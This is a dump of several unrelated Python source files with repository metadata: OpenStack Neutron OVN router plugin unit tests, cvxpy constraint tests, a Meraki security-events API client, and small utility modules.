'port_id': 'port_id', 'floating_port_id': 'fip-port-id1', 'fixed_ip_address': '10.0.0.10'}, {'id': 'fip-id2', 'floating_ip_address': '192.167.0.10', 'router_id': 'router-id', 'port_id': 'port_id', 'floating_port_id': 'fip-port-id2', 'fixed_ip_address': '10.0.0.11'}] self.l3_inst.disassociate_floatingips(self.context, 'port_id', do_notify=False) delete_nat_calls = [mock.call('neutron-router-id', type='dnat_and_snat', logical_ip=fip['fixed_ip_address'], external_ip=fip['floating_ip_address']) for fip in gfs.return_value] self.assertEqual( len(delete_nat_calls), self.l3_inst._ovn.delete_nat_rule_in_lrouter.call_count) self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_has_calls( delete_nat_calls, any_order=True) @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.' 'ovn_client.OVNClient.update_router_port') def test_port_update_postcommit(self, update_rp_mock): kwargs = {'port': {'device_owner': 'foo'}} self.l3_inst._port_update(resources.PORT, events.AFTER_UPDATE, None, **kwargs) update_rp_mock.assert_not_called() kwargs = {'port': {'device_owner': constants.DEVICE_OWNER_ROUTER_INTF}} self.l3_inst._port_update(resources.PORT, events.AFTER_UPDATE, None, **kwargs) update_rp_mock.assert_called_once_with(kwargs['port'], if_exists=True) @mock.patch('neutron.plugins.ml2.plugin.Ml2Plugin.update_port_status') @mock.patch('neutron.plugins.ml2.plugin.Ml2Plugin.update_port') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_ports') def test_update_router_gateway_port_bindings_active( self, mock_get_port, mock_updt_port, mock_updt_status): fake_host = 'fake-host' fake_router = 'fake-router' fake_port_id = 'fake-port-id' mock_get_port.return_value = [{ 'id': fake_port_id, 'status': constants.PORT_STATUS_DOWN}] self.l3_inst.update_router_gateway_port_bindings( fake_router, fake_host) # Assert that the port is being bound expected_update = {'port': {portbindings.HOST_ID: fake_host}} mock_updt_port.assert_called_once_with( mock.ANY, fake_port_id, expected_update) # Assert that the port status is being set to ACTIVE mock_updt_status.assert_called_once_with( mock.ANY, fake_port_id, constants.PORT_STATUS_ACTIVE) @mock.patch('neutron.plugins.ml2.plugin.Ml2Plugin.update_port_status') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_ports') def test_update_router_gateway_port_bindings_down( self, mock_get_port, mock_updt_status): fake_port_id = 'fake-port-id' mock_get_port.return_value = [{ 'id': fake_port_id, 'status': constants.PORT_STATUS_ACTIVE}] self.l3_inst.update_router_gateway_port_bindings(None, None) # Assert that the port status is being set to DOWN mock_updt_status.assert_called_once_with( mock.ANY, fake_port_id, constants.PORT_STATUS_DOWN) def test_schedule_unhosted_gateways_no_gateways(self): self.get_a_ctx_mock_p.stop() self.nb_idl().get_unhosted_gateways.return_value = [] self.l3_inst.schedule_unhosted_gateways() self.nb_idl().update_lrouter_port.assert_not_called() def test_schedule_unhosted_gateways(self): self.get_a_ctx_mock_p.stop() unhosted_gws = ['lrp-foo-1', 'lrp-foo-2', 'lrp-foo-3'] chassis_mappings = { 'chassis1': ['physnet1'], 'chassis2': ['physnet1'], 'chassis3': ['physnet1']} chassis = ['chassis1', 'chassis2', 'chassis3'] self.sb_idl().get_chassis_and_physnets.return_value = ( chassis_mappings) self.sb_idl().get_gateway_chassis_from_cms_options.return_value = ( chassis) self.nb_idl().get_unhosted_gateways.return_value = unhosted_gws # 1. port has 2 gateway chassis # 2. port has only chassis2 # 3. port is not bound existing_port_bindings = [ ['chassis1', 'chassis2'], ['chassis2'], []] self.nb_idl().get_gateway_chassis_binding.side_effect = ( existing_port_bindings) # for 1. port schedule untouched, add only 3'rd chassis # for 2. port master scheduler somewhere else # for 3. port schedule all self.mock_schedule.side_effect = [ ['chassis1', 'chassis2', 'chassis3'], ['chassis1', 'chassis2', 'chassis3'], ['chassis3', 'chassis2', 'chassis1']] self.l3_inst.schedule_unhosted_gateways() self.mock_candidates.assert_has_calls([ mock.call(mock.ANY, chassis_physnets=chassis_mappings, cms=chassis)] * 3) self.mock_schedule.assert_has_calls([ mock.call(self.nb_idl(), self.sb_idl(), 'lrp-foo-1', [], ['chassis1', 'chassis2']), mock.call(self.nb_idl(), self.sb_idl(), 'lrp-foo-2', [], ['chassis2']), mock.call(self.nb_idl(), self.sb_idl(), 'lrp-foo-3', [], [])]) # make sure that for second port master chassis stays untouched self.nb_idl().update_lrouter_port.assert_has_calls([ mock.call('lrp-foo-1', gateway_chassis=['chassis1', 'chassis2', 'chassis3']), mock.call('lrp-foo-2', gateway_chassis=['chassis2', 'chassis1', 'chassis3']), mock.call('lrp-foo-3', gateway_chassis=['chassis3', 'chassis2', 'chassis1'])]) @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_network') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.' 'ovn_client.OVNClient._get_router_ports') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.add_router_interface') def test_add_router_interface_need_to_frag_enabled(self, ari, gr, grps, gs, gp, gn): config.cfg.CONF.set_override( 'ovn_emit_need_to_frag', True, group='ovn') router_id = 'router-id' interface_info = {'port_id': 'router-port-id'} ari.return_value = self.fake_router_interface_info gr.return_value = self.fake_router_with_ext_gw gs.return_value = self.fake_subnet gn.return_value = self.fake_network self.fake_router_port['device_owner'] = ( constants.DEVICE_OWNER_ROUTER_GW) gp.return_value = self.fake_router_port self.l3_inst.add_router_interface(self.context, router_id, interface_info) # Make sure that the "gateway_mtu" option was set to the router port fake_router_port_assert = self.fake_router_port_assert fake_router_port_assert['gateway_chassis'] = mock.ANY fake_router_port_assert['options'] = { ovn_const.OVN_ROUTER_PORT_GW_MTU_OPTION: str(self.fake_network['mtu'])} self.l3_inst._ovn.add_lrouter_port.assert_called_once_with( **fake_router_port_assert) self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.\ assert_called_once_with( 'router-port-id', 'lrp-router-port-id', is_gw_port=True, lsp_address=ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER) self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', logical_ip='10.0.0.0/24', external_ip='192.168.1.1', type='snat') self.bump_rev_p.assert_called_with( self.admin_context, self.fake_router_port, ovn_const.TYPE_ROUTER_PORTS) class OVNL3ExtrarouteTests(test_l3_gw.ExtGwModeIntTestCase, test_l3.L3NatDBIntTestCase, test_extraroute.ExtraRouteDBTestCaseBase): # TODO(lucasagomes): Ideally, this method should be moved to a base # class which all tests classes in networking-ovn inherits from but, # this base class doesn't seem to exist for now so we need to duplicate # it here def _start_mock(self, path, return_value, new_callable=None): patcher = mock.patch(path, return_value=return_value, new_callable=new_callable) patch = patcher.start() self.addCleanup(patcher.stop) return patch def setUp(self): plugin = 'neutron.tests.unit.extensions.test_l3.TestNoL3NatPlugin' l3_plugin = ('neutron.services.ovn_l3.plugin.OVNL3RouterPlugin') service_plugins = {'l3_plugin_name': l3_plugin} # For these tests we need to enable overlapping ips cfg.CONF.set_default('allow_overlapping_ips', True) cfg.CONF.set_default('max_routes', 3) ext_mgr = test_extraroute.ExtraRouteTestExtensionManager() super(test_l3.L3BaseForIntTests, self).setUp( plugin=plugin, ext_mgr=ext_mgr, service_plugins=service_plugins) revision_plugin.RevisionPlugin() l3_gw_mgr = test_l3_gw.TestExtensionManager() test_extensions.setup_extensions_middleware(l3_gw_mgr) self.l3_inst = directory.get_plugin(plugin_constants.L3) self._start_mock( 'neutron.services.ovn_l3.plugin.OVNL3RouterPlugin._ovn', new_callable=mock.PropertyMock, return_value=fake_resources.FakeOvsdbNbOvnIdl()) self._start_mock( 'neutron.services.ovn_l3.plugin.OVNL3RouterPlugin._sb_ovn', new_callable=mock.PropertyMock, return_value=fake_resources.FakeOvsdbSbOvnIdl()) self._start_mock( 'neutron.scheduler.l3_ovn_scheduler.' 'OVNGatewayScheduler._schedule_gateway', return_value='hv1') self._start_mock( 'neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client.' 'OVNClient.get_candidates_for_scheduling', return_value=[]) self._start_mock( 'neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client.' 'OVNClient._get_v4_network_of_all_router_ports', return_value=[]) self._start_mock( 'neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client.' 'OVNClient.update_floatingip_status', return_value=None) self._start_mock( 'neutron.common.ovn.utils.get_revision_number', return_value=1) self.setup_notification_driver() # Note(dongj): According to bug #1657693, status of an unassociated # floating IP is set to DOWN. Revise expected_status to DOWN for related # test cases. def test_floatingip_update( self, expected_status=constants.FLOATINGIP_STATUS_DOWN): super(OVNL3ExtrarouteTests, self).test_floatingip_update( expected_status) def test_floatingip_update_to_same_port_id_twice( self, expected_status=constants.FLOATINGIP_STATUS_DOWN): super(OVNL3ExtrarouteTests, self).\ test_floatingip_update_to_same_port_id_twice(expected_status) def test_floatingip_update_subnet_gateway_disabled( self, expected_status=constants.FLOATINGIP_STATUS_DOWN): super(OVNL3ExtrarouteTests, self).\ test_floatingip_update_subnet_gateway_disabled(expected_status) # Test function _subnet_update of L3 OVN plugin. def test_update_subnet_gateway_for_external_net(self): super(OVNL3ExtrarouteTests, self). \ test_update_subnet_gateway_for_external_net() self.l3_inst._ovn.add_static_route.assert_called_once_with( 'neutron-fake_device', ip_prefix='0.0.0.0/0', nexthop='120.0.0.2') self.l3_inst._ovn.delete_static_route.assert_called_once_with( 'neutron-fake_device', ip_prefix='0.0.0.0/0', nexthop='120.0.0.1') def test_router_update_gateway_upon_subnet_create_max_ips_ipv6(self): super(OVNL3ExtrarouteTests, self). \ test_router_update_gateway_upon_subnet_create_max_ips_ipv6() add_static_route_calls = [ mock.call(mock.ANY, ip_prefix='0.0.0.0/0', nexthop='10.0.0.1'), mock.call(mock.ANY, ip_prefix='::/0', nexthop='2001:db8::')] self.l3_inst._ovn.add_static_route.assert_has_calls( add_static_route_calls, any_order=True)

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9c06b321637de0985d2c8ea5ab3e2543e2b615de

69

py

Python

util/__init__.py

zyxia1009/OadTR

ec6e4dafcb465719e80cbf39dcd2099e51927d51

[ "MIT" ]

53

2021-06-21T14:31:54.000Z

2022-03-30T14:37:49.000Z

util/__init__.py

zyxia1009/OadTR

ec6e4dafcb465719e80cbf39dcd2099e51927d51

[ "MIT" ]

15

2021-06-23T06:06:12.000Z

2022-03-25T14:30:30.000Z

util/__init__.py

zyxia1009/OadTR

ec6e4dafcb465719e80cbf39dcd2099e51927d51

[ "MIT" ]

9

2021-06-27T04:29:56.000Z

2022-03-29T07:25:53.000Z

from .logger import * from .loss import * from .eval_utils import *

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9c15234603f7eecb5bde992db9e730db517bfe40

161

py

Python

articles/views.py

lsdlab/dangan

1d0238d9b83d6d5e42d6f21ac43fa37c81bb34b7

[ "MIT" ]

32

2017-06-04T13:33:45.000Z

2021-09-15T10:47:42.000Z

articles/views.py

lsdlab/awesome_coffice

1d0238d9b83d6d5e42d6f21ac43fa37c81bb34b7

[ "MIT" ]

2

2018-01-19T08:10:50.000Z

2018-08-24T02:06:09.000Z

articles/views.py

lsdlab/awesome_coffice

1d0238d9b83d6d5e42d6f21ac43fa37c81bb34b7

[ "MIT" ]

17

2017-06-05T04:00:07.000Z

2019-02-26T07:29:13.000Z

from django.shortcuts import render # Create your views here. def articles(request): return render(request, 'articles/articles.html', {'title': 'articles'})

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9c596b48e817e4de3d5deb15f9ed27bbbe2f812c

93

py

Python

tests/core/test_import.py

njgheorghita/devcon-iv-ethpm

3cbd1dd64fdbfb787f89cd369acb6f3d36893817

[ "MIT" ]

4

2018-11-01T12:17:09.000Z

2018-11-01T13:58:27.000Z

tests/core/test_import.py

njgheorghita/devcon-iv-ethpm

3cbd1dd64fdbfb787f89cd369acb6f3d36893817

[ "MIT" ]

null

tests/core/test_import.py

njgheorghita/devcon-iv-ethpm

3cbd1dd64fdbfb787f89cd369acb6f3d36893817

[ "MIT" ]

null

def test_import(): import devcon_iv_ethpm # noqa: F401 import web3 import ethpm

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9c7b715b7c8b109e14a58beb7f440e7e6dc3caf9

662

py

Python

Lib/site-packages/numarray/fft/__init__.py

raychorn/svn_Python-2.5.1

425005b1b489ba44ec0bb989e077297e8953d9be

[ "PSF-2.0" ]

null

Lib/site-packages/numarray/fft/__init__.py

raychorn/svn_Python-2.5.1

425005b1b489ba44ec0bb989e077297e8953d9be

[ "PSF-2.0" ]

null

Lib/site-packages/numarray/fft/__init__.py

raychorn/svn_Python-2.5.1

425005b1b489ba44ec0bb989e077297e8953d9be

[ "PSF-2.0" ]

null

""" Discrete Fourier Transforms - FFT.py The underlying code for these functions is an f2c translated and modified version of the FFTPACK routines. fft(a, n=None, axis=-1) inverse_fft(a, n=None, axis=-1) real_fft(a, n=None, axis=-1) inverse_real_fft(a, n=None, axis=-1) hermite_fft(a, n=None, axis=-1) inverse_hermite_fft(a, n=None, axis=-1) fftnd(a, s=None, axes=None) inverse_fftnd(a, s=None, axes=None) real_fftnd(a, s=None, axes=None) inverse_real_fftnd(a, s=None, axes=None) fft2d(a, s=None, axes=(-2,-1)) inverse_fft2d(a, s=None, axes=(-2, -1)) real_fft2d(a, s=None, axes=(-2,-1)) inverse_real_fft2d(a, s=None, axes=(-2, -1)) """ from FFT import *

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92d870bf9400de7752db1e28ba92a9518d2841ca

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py

Python

cvxpy/tests/test_constraints.py

quantopian/cvxpy

7deee4d172470aa8f629dab7fead50467afa75ff

[ "Apache-2.0" ]

5

2017-08-31T01:37:00.000Z

2022-03-24T04:23:09.000Z

cvxpy/tests/test_constraints.py

quantopian/cvxpy

7deee4d172470aa8f629dab7fead50467afa75ff

[ "Apache-2.0" ]

null

cvxpy/tests/test_constraints.py

quantopian/cvxpy

7deee4d172470aa8f629dab7fead50467afa75ff

[ "Apache-2.0" ]

6

2017-02-09T19:37:07.000Z

2021-01-07T00:17:54.000Z

""" Copyright 2017 Steven Diamond Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from cvxpy.expressions.variables import Variable from cvxpy.constraints.second_order import SOC from cvxpy.tests.base_test import BaseTest import numpy as np import sys PY2 = sys.version_info < (3, 0) class TestConstraints(BaseTest): """ Unit tests for the expression/expression module. """ def setUp(self): self.a = Variable(name='a') self.b = Variable(name='b') self.x = Variable(2, name='x') self.y = Variable(3, name='y') self.z = Variable(2, name='z') self.A = Variable(2, 2, name='A') self.B = Variable(2, 2, name='B') self.C = Variable(3, 2, name='C') def test_constr_str(self): """Test string representations of the constraints. """ constr = self.x <= self.x self.assertEqual(repr(constr), "LeqConstraint(%s, %s)" % (repr(self.x), repr(self.x))) constr = self.x <= 2*self.x self.assertEqual(repr(constr), "LeqConstraint(%s, %s)" % (repr(self.x), repr(2*self.x))) constr = 2*self.x >= self.x self.assertEqual(repr(constr), "LeqConstraint(%s, %s)" % (repr(self.x), repr(2*self.x))) def test_eq_constraint(self): """Test the EqConstraint class. """ constr = self.x == self.z self.assertEqual(constr.name(), "x == z") self.assertEqual(constr.size, (2, 1)) # self.assertItemsEqual(constr.variables().keys(), [self.x.id, self.z.id]) # Test value and dual_value. assert constr.dual_value is None assert constr.value is None self.x.save_value([2,2]) self.z.save_value([2,2]) assert constr.value self.x.save_value([3,3]) assert not constr.value self.x.value = [2, 1] self.z.value = [2, 2] assert not constr.value self.assertItemsAlmostEqual(constr.violation, [0, 1]) self.assertItemsAlmostEqual(constr.residual.value, [0, 1]) self.z.value = [2, 1] assert constr.value self.assertItemsAlmostEqual(constr.violation, [0, 0]) self.assertItemsAlmostEqual(constr.residual.value, [0, 0]) with self.assertRaises(Exception) as cm: (self.x == self.y) self.assertEqual(str(cm.exception), "Incompatible dimensions (2, 1) (3, 1)") # Test copy with args=None copy = constr.copy() self.assertTrue(type(copy) is type(constr)) # A new object is constructed, so copy.args == constr.args but copy.args # is not constr.args. self.assertEqual(copy.args, constr.args) self.assertFalse(copy.args is constr.args) # Test copy with new args copy = constr.copy(args=[self.A, self.B]) self.assertTrue(type(copy) is type(constr)) self.assertTrue(copy.args[0] is self.A) self.assertTrue(copy.args[1] is self.B) def test_leq_constraint(self): """Test the LeqConstraint class. """ constr = self.x <= self.z self.assertEqual(constr.name(), "x <= z") self.assertEqual(constr.size, (2, 1)) # Test value and dual_value. assert constr.dual_value is None assert constr.value is None self.x.save_value([1,1]) self.z.save_value([2,2]) assert constr.value self.x.save_value([3,3]) assert not constr.value # self.assertItemsEqual(constr.variables().keys(), [self.x.id, self.z.id]) self.x.value = [2, 1] self.z.value = [2, 0] assert not constr.value self.assertItemsAlmostEqual(constr.violation, [0, 1]) self.assertItemsAlmostEqual(constr.residual.value, [0, 1]) self.z.value = [2, 2] assert constr.value self.assertItemsAlmostEqual(constr.violation, [0, 0]) self.assertItemsAlmostEqual(constr.residual.value, [0, 0]) with self.assertRaises(Exception) as cm: (self.x <= self.y) self.assertEqual(str(cm.exception), "Incompatible dimensions (2, 1) (3, 1)") # Test copy with args=None copy = constr.copy() self.assertTrue(type(copy) is type(constr)) # A new object is constructed, so copy.args == constr.args but copy.args # is not constr.args. self.assertEqual(copy.args, constr.args) self.assertFalse(copy.args is constr.args) # Test copy with new args copy = constr.copy(args=[self.A, self.B]) self.assertTrue(type(copy) is type(constr)) self.assertTrue(copy.args[0] is self.A) self.assertTrue(copy.args[1] is self.B) def test_psd_constraint(self): """Test the PSD constraint <<. """ constr = self.A >> self.B self.assertEqual(constr.name(), "A >> B") self.assertEqual(constr.size, (2, 2)) # Test value and dual_value. assert constr.dual_value is None assert constr.value is None self.A.save_value(np.matrix("2 -1; 1 2")) self.B.save_value(np.matrix("1 0; 0 1")) assert constr.value self.assertAlmostEqual(constr.violation, 0) self.assertAlmostEqual(constr.residual.value, 0) self.B.save_value(np.matrix("3 0; 0 3")) assert not constr.value self.assertAlmostEqual(constr.violation, 1) self.assertAlmostEqual(constr.residual.value, 1) with self.assertRaises(Exception) as cm: (self.x >> self.y) self.assertEqual(str(cm.exception), "Non-square matrix in positive definite constraint.") # Test copy with args=None copy = constr.copy() self.assertTrue(type(copy) is type(constr)) # A new object is constructed, so copy.args == constr.args but copy.args # is not constr.args. self.assertEqual(copy.args, constr.args) self.assertFalse(copy.args is constr.args) # Test copy with new args copy = constr.copy(args=[self.B, self.A]) self.assertTrue(type(copy) is type(constr)) self.assertTrue(copy.args[0] is self.B) self.assertTrue(copy.args[1] is self.A) def test_nsd_constraint(self): """Test the PSD constraint <<. """ constr = self.A << self.B self.assertEqual(constr.name(), "B >> A") self.assertEqual(constr.size, (2, 2)) # Test value and dual_value. assert constr.dual_value is None assert constr.value is None self.B.save_value(np.matrix("2 -1; 1 2")) self.A.save_value(np.matrix("1 0; 0 1")) assert constr.value self.A.save_value(np.matrix("3 0; 0 3")) assert not constr.value with self.assertRaises(Exception) as cm: (self.x << self.y) self.assertEqual(str(cm.exception), "Non-square matrix in positive definite constraint.") def test_lt(self): """Test the < operator. """ constr = self.x < self.z self.assertEqual(constr.name(), "x <= z") self.assertEqual(constr.size, (2, 1)) with self.assertRaises(Exception) as cm: (self.x < self.y) self.assertEqual(str(cm.exception), "Incompatible dimensions (2, 1) (3, 1)") def test_geq(self): """Test the >= operator. """ constr = self.z >= self.x self.assertEqual(constr.name(), "x <= z") self.assertEqual(constr.size, (2, 1)) with self.assertRaises(Exception) as cm: (self.y >= self.x) self.assertEqual(str(cm.exception), "Incompatible dimensions (2, 1) (3, 1)") def test_gt(self): """Test the > operator. """ constr = self.z > self.x self.assertEqual(constr.name(), "x <= z") self.assertEqual(constr.size, (2, 1)) with self.assertRaises(Exception) as cm: (self.y > self.x) self.assertEqual(str(cm.exception), "Incompatible dimensions (2, 1) (3, 1)") # Test the SOC class. def test_soc_constraint(self): exp = self.x + self.z scalar_exp = self.a + self.b constr = SOC(scalar_exp, [exp]) self.assertEqual(constr.size, (3, 1)) def test_chained_constraints(self): """Tests that chaining constraints raises an error. """ error_str = ("Cannot evaluate the truth value of a constraint or " "chain constraints, e.g., 1 >= x >= 0.") with self.assertRaises(Exception) as cm: (self.z <= self.x <= 1) self.assertEqual(str(cm.exception), error_str) with self.assertRaises(Exception) as cm: (self.x == self.z == 1) self.assertEqual(str(cm.exception), error_str) if PY2: with self.assertRaises(Exception) as cm: (self.z <= self.x).__nonzero__() self.assertEqual(str(cm.exception), error_str) else: with self.assertRaises(Exception) as cm: (self.z <= self.x).__bool__() self.assertEqual(str(cm.exception), error_str)

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0.604224

1,285

9,518

4.432685

0.128405

0.033357

0.030021

0.056004

0.772647

0.752107

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0.716643

0.703125

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0.019846

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9,518

253

98

37.620553

0.793404

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0

0.547619

0

0.06885

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1

0.065476

false

0

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0.10119

0

null

0

1

0

null

0

1

0

6

136bf557859c4302dd1e81901e051d3bc91e5c69

252

py

Python

tests/log.py

git-akihakune/aWaifu-web

bc6774d96b9f3b2ffe673f960786d93c827685a3

[ "MIT" ]

null

tests/log.py

git-akihakune/aWaifu-web

bc6774d96b9f3b2ffe673f960786d93c827685a3

[ "MIT" ]

null

tests/log.py

git-akihakune/aWaifu-web

bc6774d96b9f3b2ffe673f960786d93c827685a3

[ "MIT" ]

null

from .config import verbose def failed(skk): print("\033[91m[FAILED] \033[00m{}".format(skk)) def passed(skk): print("\033[92m[PASSED] \033[00m{}".format(skk)) def notify(skk): if verbose: print("\033[96m[NOTIFY] \033[00m{}".format(skk))

28

65

0.650794

39

252

4.205128

0.435897

0.146341

0.219512

0.27439

0.219512

0

0.136364

0.126984

252

9

66

28

0.609091

0

0.320158

0

1

0.5

false

0.166667

0

0.666667

0.5

0

null

0

1

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1

0

null

0

1

0

1

0

1

0

6

13794bf5de79f4d48d30aaf8063373b9342d0446

6,886

py

Python

meraki_v0/api/security_events.py

zabrewer/dashboard-api-python

bc21b6852e3167dcdf79585928a963efebb9d0ee

[ "MIT" ]

2

2020-01-09T08:35:39.000Z

2020-01-09T09:23:53.000Z

meraki_v0/api/security_events.py

zabrewer/dashboard-api-python

bc21b6852e3167dcdf79585928a963efebb9d0ee

[ "MIT" ]

null

meraki_v0/api/security_events.py

zabrewer/dashboard-api-python

bc21b6852e3167dcdf79585928a963efebb9d0ee

[ "MIT" ]

null

class SecurityEvents(object): def __init__(self, session): super(SecurityEvents, self).__init__() self._session = session def getNetworkClientSecurityEvents(self, networkId: str, clientId: str, total_pages=1, direction='next', **kwargs): """ **List the security events for a client. Clients can be identified by a client key or either the MAC or IP depending on whether the network uses Track-by-IP.** https://api.meraki.com/api_docs#list-the-security-events-for-a-client - networkId (string) - clientId (string) - total_pages (integer or string): total number of pages to retrieve, -1 or "all" for all pages - direction (string): direction to paginate, either "next" (default) or "prev" page - t0 (string): The beginning of the timespan for the data. The maximum lookback period is 791 days from today. - t1 (string): The end of the timespan for the data. t1 can be a maximum of 791 days after t0. - timespan (number): The timespan for which the information will be fetched. If specifying timespan, do not specify parameters t0 and t1. The value must be in seconds and be less than or equal to 791 days. The default is 31 days. - perPage (integer): The number of entries per page returned. Acceptable range is 3 - 1000. Default is 100. - startingAfter (string): A token used by the server to indicate the start of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, prev, or next page in the HTTP Link header should define it. - endingBefore (string): A token used by the server to indicate the end of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, prev, or next page in the HTTP Link header should define it. """ kwargs.update(locals()) metadata = { 'tags': ['Security events'], 'operation': 'getNetworkClientSecurityEvents', } resource = f'/networks/{networkId}/clients/{clientId}/securityEvents' query_params = ['t0', 't1', 'timespan', 'perPage', 'startingAfter', 'endingBefore'] params = {k: v for (k, v) in kwargs.items() if k in query_params} return self._session.get_pages(metadata, resource, params, total_pages, direction) def getNetworkSecurityEvents(self, networkId: str, total_pages=1, direction='next', **kwargs): """ **List the security events for a network** https://api.meraki.com/api_docs#list-the-security-events-for-a-network - networkId (string) - total_pages (integer or string): total number of pages to retrieve, -1 or "all" for all pages - direction (string): direction to paginate, either "next" (default) or "prev" page - t0 (string): The beginning of the timespan for the data. The maximum lookback period is 365 days from today. - t1 (string): The end of the timespan for the data. t1 can be a maximum of 365 days after t0. - timespan (number): The timespan for which the information will be fetched. If specifying timespan, do not specify parameters t0 and t1. The value must be in seconds and be less than or equal to 365 days. The default is 31 days. - perPage (integer): The number of entries per page returned. Acceptable range is 3 - 1000. Default is 100. - startingAfter (string): A token used by the server to indicate the start of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, prev, or next page in the HTTP Link header should define it. - endingBefore (string): A token used by the server to indicate the end of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, prev, or next page in the HTTP Link header should define it. """ kwargs.update(locals()) metadata = { 'tags': ['Security events'], 'operation': 'getNetworkSecurityEvents', } resource = f'/networks/{networkId}/securityEvents' query_params = ['t0', 't1', 'timespan', 'perPage', 'startingAfter', 'endingBefore'] params = {k: v for (k, v) in kwargs.items() if k in query_params} return self._session.get_pages(metadata, resource, params, total_pages, direction) def getOrganizationSecurityEvents(self, organizationId: str, total_pages=1, direction='next', **kwargs): """ **List the security events for an organization** https://api.meraki.com/api_docs#list-the-security-events-for-an-organization - organizationId (string) - total_pages (integer or string): total number of pages to retrieve, -1 or "all" for all pages - direction (string): direction to paginate, either "next" (default) or "prev" page - t0 (string): The beginning of the timespan for the data. The maximum lookback period is 365 days from today. - t1 (string): The end of the timespan for the data. t1 can be a maximum of 365 days after t0. - timespan (number): The timespan for which the information will be fetched. If specifying timespan, do not specify parameters t0 and t1. The value must be in seconds and be less than or equal to 365 days. The default is 31 days. - perPage (integer): The number of entries per page returned. Acceptable range is 3 - 1000. Default is 100. - startingAfter (string): A token used by the server to indicate the start of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, prev, or next page in the HTTP Link header should define it. - endingBefore (string): A token used by the server to indicate the end of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, prev, or next page in the HTTP Link header should define it. """ kwargs.update(locals()) metadata = { 'tags': ['Security events'], 'operation': 'getOrganizationSecurityEvents', } resource = f'/organizations/{organizationId}/securityEvents' query_params = ['t0', 't1', 'timespan', 'perPage', 'startingAfter', 'endingBefore'] params = {k: v for (k, v) in kwargs.items() if k in query_params} return self._session.get_pages(metadata, resource, params, total_pages, direction)

70.989691

314

0.686175

1,000

6,886

4.692

0.147

0.012788

0.026854

0.880009

0.8685

0

0.016455

0.23221

6,886

96

315

71.729167

0.871004

0.662939

0

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0

0.226606

0.11128

0

1

0.117647

false

0

0.235294

0

null

0

1

0

null

0

6

137d3988fbdf887f40a59947b18d96d8d1352ff5

59

py

Python

python-aliyun-api-gateway/aliyun/api/gateway/sdk/util/UUIDUtil.py

coco369/aliyun-api-gateway-python

683a70786e36d1a089ec48da80b59b1f882f2976

[ "Apache-2.0" ]

2

2020-09-09T10:09:44.000Z

2021-05-13T06:35:32.000Z

python-aliyun-api-gateway/aliyun/api/gateway/sdk/util/UUIDUtil.py

coco369/aliyun-api-gateway-python

683a70786e36d1a089ec48da80b59b1f882f2976

[ "Apache-2.0" ]

null

python-aliyun-api-gateway/aliyun/api/gateway/sdk/util/UUIDUtil.py

coco369/aliyun-api-gateway-python

683a70786e36d1a089ec48da80b59b1f882f2976

[ "Apache-2.0" ]

null

import uuid def get_uuid(): return str(uuid.uuid4())

9.833333

28

0.661017

9

59

4.222222

0.777778

0

0.021277

0.20339

59

5

29

11.8

0.787234

0

1

0.333333

true

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

b9286c72678bcc6eaa0ed8c14639473032405a0e

22

py

Python

IPython/testing/plugin/simplevars.py

dchichkov/ipython

8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4

[ "BSD-3-Clause-Clear" ]

26

2018-02-14T23:52:58.000Z

2021-08-16T13:50:03.000Z

IPython/testing/plugin/simplevars.py

dchichkov/ipython

8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4

[ "BSD-3-Clause-Clear" ]

3

2015-04-01T13:14:57.000Z

2015-05-26T16:01:37.000Z

IPython/testing/plugin/simplevars.py

dchichkov/ipython

8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4

[ "BSD-3-Clause-Clear" ]

10

2018-08-13T19:38:39.000Z

2020-04-19T03:02:00.000Z

x = 1 print 'x is:',x

7.333333

15

0.5

6

22

1.833333

0.666667

0

0.0625

0.272727

22

2

16

11

0.625

0

0.227273

0

null

0

null

0.5

1

null

0

1

0

null

0

1

0

1

0

6

b92d1784202e284af1eb520ae5d1efa1ecdba4b1

379

py

Python

Gds/src/fprime_gds/wxgui/GDS_WXFormBuilderFiles/GDSStatusPanelImpl.py

hunterpaulson/fprime

70560897b56dc3037dc966c99751b708b1cc8a05

[ "Apache-2.0" ]

null

Gds/src/fprime_gds/wxgui/GDS_WXFormBuilderFiles/GDSStatusPanelImpl.py

hunterpaulson/fprime

70560897b56dc3037dc966c99751b708b1cc8a05

[ "Apache-2.0" ]

5

2020-07-13T16:56:33.000Z

2020-07-23T20:38:13.000Z

Gds/src/fprime_gds/wxgui/GDS_WXFormBuilderFiles/GDSStatusPanelImpl.py

